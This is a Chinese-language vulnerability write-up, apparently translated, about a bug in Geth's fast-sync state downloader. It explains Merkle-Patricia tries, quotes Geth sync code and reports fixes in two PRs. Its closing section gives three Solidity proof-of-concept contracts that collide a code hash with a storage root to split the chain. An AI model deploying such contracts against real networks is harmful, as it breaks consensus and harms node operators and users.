
來源 | 以太坊愛好者
責編 | 晉兆雨
頭圖 | 付費下載於視覺中國
這篇文章要講的 bug 位於 Geth客戶端的狀態下載器內,它可以用來欺騙下載器,使之不能與主網正確同步。攻擊者可以利用這個 bug 給以太坊區塊鏈設置陷阱、任意觸發硬分叉。

同步
當你想運行一個以太坊節點的時候,首先必須同步上整個網路,即,下載和計算構建最新區塊時刻的區塊鏈狀態所需的所有資料。根據使用者自身的需要,同步方式可以在安全性和速度之間有所取捨,所以(在撰文之時) Geth 支持兩種同步模式:完全同步和快速同步。
顧名思義,完全同步就是獨立地執行完對以太坊區塊鏈的整個同步過程。這就意味著,你的Geth 節點會下載和驗證每個區塊的工作量證明(PoW),此外,它還會計算區塊內的每一條事務;由此,節點可以在本地生成區塊鏈的最新狀態,而無需信任其它節點。這種模式更安全,但速度上有很大犧牲。Geth 的完全同步可能要花幾天乃至幾周不等的時間。
但是,有些使用者可能不想等上幾周。也許他們的時間很緊,又或者,他們並不覺得這種犧牲是值得的。因此,Geth 提供了一個模式:在近期的某個區塊(稱為 「pivot 區塊」)之前的所有鏈資料,都用更快的方法來同步,只有 pivot 區塊之後的區塊鏈,才使用更慢的完全同步演算法。在快速同步模式中,Geth 會下載區塊,但僅隨機選取一些區塊來驗證工作量證明,而不是每個區塊都驗證;而且,它也將不再自己執行事務,而是從網路中的其它節點處直接下載狀態樹,以此獲得最終的區塊鏈狀態。
當然,Geth 也不會盲目相信其他節點發回的狀態樹資料,因為一個惡意的節點也可以聲稱某個賬戶只有一點點錢(但實際有很多)。要理解 Geth 如何能辨別收到的資料正確與否,我們先要理解默克爾帕特里夏樹(Merkle-Patriciatrie)。

默克爾帕特里夏樹
默克爾帕特里夏樹(MPT)是 Geth客戶端中的一種關鍵資料結構,它是默克爾樹和帕特里夏樹兩者的結合。
簡而言之,帕特里夏樹會基於資料的前綴將資料存到一個樹狀結構中。相較於其它技術(如雜湊表,hashmap)來說,帕特里夏樹本身非常適合儲存相似的資料,儘管在速度上可能有所犧牲。下面來看看,多個以 r 開頭的單詞是如何存到一棵帕特里夏樹裡的。

– 圖源:https://commons.wikimedia.org/w/index.php?curid=2118795 –
接著來說說默克爾樹。在一棵默克爾樹上,每個葉節點是資料的哈希值,每個非葉節點是它的兩個子節點的哈希值。如果使用者知道了默克爾樹的默克爾根(即,頂端哈希值),並且想要確認某個資料是否儲存在這棵樹裡,他只需要用到這棵樹上的一條路徑,這條路徑所涉及的節點數量只跟葉節點數量的對數(注意不是葉節點數量)成正比。如下圖所示,假設使用者要證明 L2 儲存在這棵樹裡,他只需提供 Hash 0-0 和 Hash 1。接著,驗證者生成 Hash 0-1、Hash 0 和 Top Hash,再將Top Hash 與其所預期的默克爾根進行比較。

– 圖源:https://commons.wikimedia.org/w/index.php?curid=18157888 –
默克爾帕特里夏樹將帕特里夏樹基於前綴的儲存結構與默克爾樹相結合,創造出了一種新的資料結構,不僅支持密碼學驗證方式,而且還能保持良好的運行時性能。
在默克爾帕特里夏樹中,鍵和值都是任意的位元組串。要想獲得一個鍵的值,我們首先要將這個鍵轉換成一個十六進位制字符序列,即,將每個位元組變成兩個十六進位制字符。然後,我們要先根據序列中的第一個字符,向根節點查詢下一個節點是什麼;得到此子節點後,再根據第二個字符向下查詢節點,依次類推,直至找到最後一個節點,獲得最後一個字符。
在下面這個例子中,我們可以看到默克爾帕特里夏樹實際上包含三種不同的節點。擴展節點(在Geth 程式碼庫中又被稱為短節點)是經過最佳化的,負責儲存一連串字符。在下圖所示案例中,根節點儲存了所有以 a7開頭的鍵,無需使用兩個不同的節點來代表 a 和 7。分支節點(或稱 「完整節點」)包含每個可能字符的指針以及一個額外的空檔來儲存當前節點的值。最後,葉節點(又稱值節點)的 key-end 欄位必然與其所儲存的 key 的後綴相匹配 1 。


狀態樹
既然我們已經知道默克爾帕特里夏樹是如何運作的了,我們可以開始探究什麼是全局狀態樹。
區塊鏈的絕大部分資料都儲存在全局狀態樹中。雖然將狀態樹作為獨一無二的實體包含在每個區塊內這個設想看似便利,但實際上每個區塊都要複製完整的狀態樹是極其低效的,因為每個區塊之間的狀態樹只有細微差別。Geth 採用了不同的方案。你可以想象一下,Geth 維護了一個 MPT 節點池。每個區塊的狀態樹只是整個池的子集。每當有新的區塊被挖出或匯入,就會有新的 MPT 節點被添加到池中。
要想識別節點池中的根節點,我們必須查詢區塊頭。每個區塊都包含一個指向stateRoot 的欄位,該欄位指向 MPT 的根節點(而該MPT儲存以賬戶地址 2 作為鍵的賬戶資料)。這樣一來,Geth就可以使用我們上文描述的演算法查詢賬戶資訊,如任意地址的 nonce 或餘額。

請注意,如果是合約的話,賬戶狀態將包含一個非空的 storageRoot 欄位和 codeHash 欄位。storageRoot 欄位指向另一個根節點。但是,此時所涉及的 MPT 的用途是儲存該合約的儲存項資料;該 MPT 會將儲存空檔(storage slot)作為鍵,將原始資料作為值。

為了將 MPT 儲存在磁碟上,Geth選擇使用 LevelDB 作為資料庫。然而,LevelDB 是隻支持字串到字串對映的鍵值資料庫,MPT 不是字串到字串對映。為了解決這個問題,Geth 將每個節點編寫成鍵值對,從而實現全局狀態樹的扁平化:將節點的哈希值作為鍵,將序列化的節點作為值。這樣一來,Geth 就能查詢任意區塊的狀態樹,因為區塊頭中的 stateRoot 欄位就是鍵,可以用來查找 LevelDB 中的序列化 MPT 節點(譯者注:即一棵 MPT 的根節點)。

樹混亂
因此,假設你啟動了一個 Geth 節點,並使用快速同步模式連接到網路。Geth 將快速下載所有區塊資料,但是不執行任何事務。不久之後,你將得到一個沒有狀態資訊的區塊鏈。此時,Geth 通過狀態下載器從 pivot 區塊的 stateRoot 開始進行同步。
// NewSync creates a new trie data download scheduler.
func NewSync(root common.Hash, database ethdb.KeyValueReader, callback LeafCallback, bloom *SyncBloom) *Sync {
ts := &Sync{
database: database,
membatch: newSyncMemBatch(),
requests: make(map[common.Hash]*request),
queue: prque.New(nil),
bloom: bloom,
}
ts.AddSubTrie(root, 0, common.Hash{}, callback)
return ts
}– 來源:
https://github.com/ethereum/go-ethereum/blob/87c463c47aa6d10a55a4b860bab3d53199814d01/trie/sync.go#L246-L255-
狀態下載器會向對等節點請求與 MPT 節點鍵對應的 MPT 節點資料。收到結果後,狀態下載器會對節點資料進行哈希計算,驗證得到的哈希值是否與節點鍵相同。如果相同,狀態下載器就知道這個 MPT 節點是正確的,然後就會發送更多請求,請求該 MPT 節點的每個子節點。
// Create and schedule a request for all the children nodes
requests, err := s.children(request, node)
if err != nil {
return committed, i, err
}
if len(requests) == 0 && request.deps == 0 {
s.commit(request)
committed = true
continue
}
request.deps += len(requests)
for _, child := range requests {
s.schedule(child)
}– 來源:
https://github.com/ethereum/go-ethereum/blob/87c463c47aa6d10a55a4b860bab3d53199814d01/trie/sync.go#L205-L218-
如果遇到葉節點(包含序列化的賬戶狀態),賬戶的程式碼和狀態樹將排隊等待被獲取。
callback:=func(leaf[]byte,parentcommon.Hash) error{
varobjAccount
iferr:=rlp.Decode(bytes.NewReader(leaf),&obj); err!=nil{
returnerr
}
syncer.AddSubTrie(obj.Root, 64, parent,nil)
syncer.AddRawEntry(common.BytesToHash(obj.CodeHash),64, parent)
returnnil
}– 來源:
https://github.com/ethereum/go-ethereum/blob/87c463c47aa6d10a55a4b860bab3d53199814d01/core/state/sync.go#L31-L39-
請注意同步子樹和原始條目之間的區別。雖然二者都下載任意的資料塊,但是如果同步器預期要同步的是原始樹,它會將該資料解析為樹節點,並開始同步其子節點。另一方面,如果同步器預期要同步的是原始條目,它會將資料塊寫入資料庫並終止。
// If the item was not requested, bail out
request:=s.requests[item.Hash]
ifrequest==nil{
returncommitted, i, ErrNotRequested
}
ifrequest.data!=nil{
returncommitted, i, ErrAlreadyProcessed
}
// If the item is a raw entry request,commit directly
ifrequest.raw{
request.data=item.Data
s.commit(request)
committed=true
continue
}– 來源:
https://github.com/ethereum/go-ethereum/blob/87c463c47aa6d10a55a4b860bab3d53199814d01/trie/sync.go#L183-L197-
另外還要注意的是,Geth 想要多次向同一個節點發送請求的情況並不少見。例如,如果兩個合約儲存相同的資料,那它們的 stateRoot 可能相同,也有可能出現兩個賬戶擁有同樣的賬戶狀態。在這些情況下,Geth不想讓網路充斥這些請求,因此會將它們合併。
func(s*Sync) schedule(req*request) {
// If we're already requesting this node,add a new reference and stop
ifold, ok:=s.requests[req.hash]; ok{
old.parents=append(old.parents,req.parents...)
return
}
// Schedule the request for futureretrieval
s.queue.Push(req.hash, int64(req.depth))
s.requests[req.hash] =req
}– 來源:
https://github.com/ethereum/go-ethereum/blob/87c463c47aa6d10a55a4b860bab3d53199814d01/trie/sync.go#L246-L255-
然而,同步器不會合並請求的 raw 屬性。這意味著,如果已經有了一個未決的原始條目請求,但是同步器又安排了一個具有相同哈希值的子樹請求,後者將被合併,最終結果還是只有一個原始條目請求。
請記住,原始條目請求不會為了同步子節點而處理節點(不像子樹請求)。這意味著,如果我們能以某種方式在原始條目和子樹節點之間引發衝突,我們就能讓 Geth 同步一個不完整的狀態樹。另外,遇到一個本地不存在的樹節點時,Geth 不會退出(報錯),這等於是假設,如果下載器報告同步成功,這種(本地缺失狀態資料的)情況就不會發生。這就意味著,缺少一個樹節點的 Geth 節點在行為上與其它完全同步樹的節點截然不同。
那麼,如何引發衝突呢?事實證明非常簡單:我們只需用我們控制的某個合約的序列化狀態根部署另一個合約,因此該合約程式碼的哈希值必定與(我們所控制的合約的)狀態根哈希值相同,這就意味著如果合約程式碼先同步,另一個合約的狀態樹不會被全部下載下來。
綜上
如果有人利用這個漏洞作惡,需完成要多個步驟並等待很長時間。
首先,我們部署一個合約(我們會利用漏洞將這個合約的狀態樹覆蓋掉)。這個合約應該有一個獨一無二的 stateRoot,從而避免與這個 stateRoot 相關的 MPT 節點提前同步。
contract Discrepancy {
uint public magic = 1;
//make sure we have a unique stateRoot
uint[] private filler = [1,2,3,4,5,6,7,8,9,0];
}接著,我們部署第二個合約,以便利用矛盾觸發硬分叉。
contract Hardfork {
function hardfork(Discrepancy target) public {
require(target.magic() == 0, "no discrepancy found");
selfdestruct(msg.sender);
}
}最後,我們用 Discrepancy 合約的狀態根作為程式碼部署第三個合約。這裡我們必須注意一點,第三個合約的地址要比 Discrepancy 合約的地址 「小」,從而確保它始終先於 Discrepancy 合約同步。
contract Exploit {
constructor(bytes memory stateRoot) public {
assembly {
return(add(stateRoot, 0x20), mload(stateRoot))
}
}
}現在我們就大功告成了。當新的 Geth 節點使用快速同步加入網路時,它們會先請求 Exploit 合約,同步其狀態子樹及程式碼。當 Exploit 合約的程式碼被同步時,它會創建一個看起來與 Discrepancy 的狀態根請求完全相同的原始條目請求,但它不會被當作子樹請求處理。這意味著,該節點永遠不會下載 Discrepancy 的狀態 trie,因此未來讀取 magic 的請求將返回 0 而非 1。
經過足夠長的時間後,我們要做的就是調用Hardfork.hardfork(discrepancy)。每個正確同步整個網路的節點都會看到一個回滾交易,而每個使用快速同步加入網路的 Geth 節點都會看到一個成功的交易。這將導致一個區塊產生兩個不同的狀態根,也就是說我們可以隨心所欲地觸發鏈分裂。
Geth 團隊通過處理 PR#21039 中的樹讀取錯誤快速解決了該攻擊,然後通過區分 PR #21080 中的程式碼部分和樹部分完全修復了這個漏洞。
結論
這是一個非常有趣的漏洞,它可以讓攻擊者在以太坊網路上設置一個 「炸彈」,並隨時引爆,從而導致所有使用快速同步的 Geth 節點從主網中分叉。這個陷阱利用的是 Geth 的同步和資料儲存程式碼中極其複雜的邏輯,這或許是它很長時間來都沒有引起人們注意的原因。
腳註
從技術層面來說,Geth 中的值節點不包含後綴。你可以將其理解成一個後面跟著值節點(只包含原始資料)的擴展節點。
實際上,Geth 使用的是 「安全的 trie」,即,通過 SHA-3 演算法對所有鍵進行哈希計算,從而確保所有鍵都是固定長度。